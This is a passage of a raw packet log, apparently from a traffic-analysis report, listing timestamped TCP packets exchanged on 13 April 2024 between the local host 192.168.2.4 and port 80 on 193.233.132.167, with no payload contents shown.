Apr 13, 2024 20:21:12.261584044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.261940956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.262475014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.266288996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.266742945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602340937 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602390051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602428913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602468967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602507114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602500916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602543116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602552891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602580070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602600098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602617025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602642059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602653980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602662086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602690935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602722883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602730036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.602752924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.602822065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.942809105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.942840099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.942862034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.942898989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.942936897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.942941904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.942970037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.942981958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943021059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943021059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943048000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943058014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943069935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943097115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943136930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943145037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943176031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943214893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943221092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943253040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943258047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943290949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943319082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943327904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943336964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943365097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943372011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943403006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943413019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943442106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943474054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943479061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943486929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:12.943521976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:12.943599939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283456087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283518076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283560038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283598900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283638000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283674955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283715963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283737898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283737898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283752918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283781052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283790112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283797979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283828020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283866882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283881903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.283929110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283967018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.283978939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284004927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284015894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284043074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284054041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284080029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284116983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284126043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284153938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284190893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284235001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284246922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284254074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284293890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284306049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284333944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284342051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284370899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284377098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284410954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284419060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284450054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284460068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284487963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284495115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284527063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284534931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284564972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284574986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284603119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284609079 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284641981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284651041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284678936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284718037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284729004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284755945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284792900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284804106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284831047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284837961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284869909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284907103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284918070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.284944057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.284981966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.285016060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.285022020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.285024881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.285068035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625087976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625209093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625250101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625292063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625332117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625370026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625408888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625454903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625454903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625454903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625454903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625468969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625508070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625530005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625546932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625583887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625591993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625618935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625632048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625657082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625689030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625694036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625710964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625735998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625741005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.625773907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625813007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625850916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625885963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625945091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.625982046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626019955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626055002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626060963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626055002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626055002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626055002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626099110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626133919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626133919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626133919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626137018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626173973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626188040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626211882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626230001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626249075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626280069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626286030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626308918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626323938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626353025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626363039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626400948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626437902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626462936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626462936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626475096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626482964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626513004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626548052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626585007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626601934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626624107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626661062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626697063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626699924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626720905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626738071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626743078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626775026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626812935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626849890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626857996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626858950 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626888037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626924038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626936913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.626960993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.626997948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627033949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627041101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627063036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627072096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627084017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627115011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627141953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627152920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627160072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627190113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627207994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627227068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627230883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627264023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627274990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627300978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627314091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627337933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627346992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627373934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627392054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627413034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627435923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627454996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627469063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627491951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627507925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627531052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627543926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627568960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627583027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627607107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627620935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627649069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627660990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627686977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627724886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627764940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627765894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627804041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627804995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627805948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627840042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627860069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627876997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627897978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627914906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627919912 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627953053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.627974987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.627990007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628004074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628027916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628040075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628065109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628082037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628103018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628115892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628142118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628170013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628181934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628241062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.628242016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.628375053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.968156099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968233109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968250990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968269110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968319893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.968357086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.968530893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968549013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968565941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968584061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.968612909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.968631983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969136953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969204903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969214916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969294071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969355106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969369888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969391108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969393969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969408989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969427109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969433069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969454050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969454050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969504118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969521999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969579935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969587088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969599962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969604969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969620943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969624996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969638109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969645023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969654083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969655037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.969674110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969693899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.969963074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970035076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970128059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970171928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970190048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970192909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970206976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970220089 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970236063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970252037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970252991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970268965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970285892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970294952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970314026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970318079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970324993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970343113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970360041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970361948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970377922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970386028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970395088 CEST	49744	80	192.168.2.4	193.233.132.167
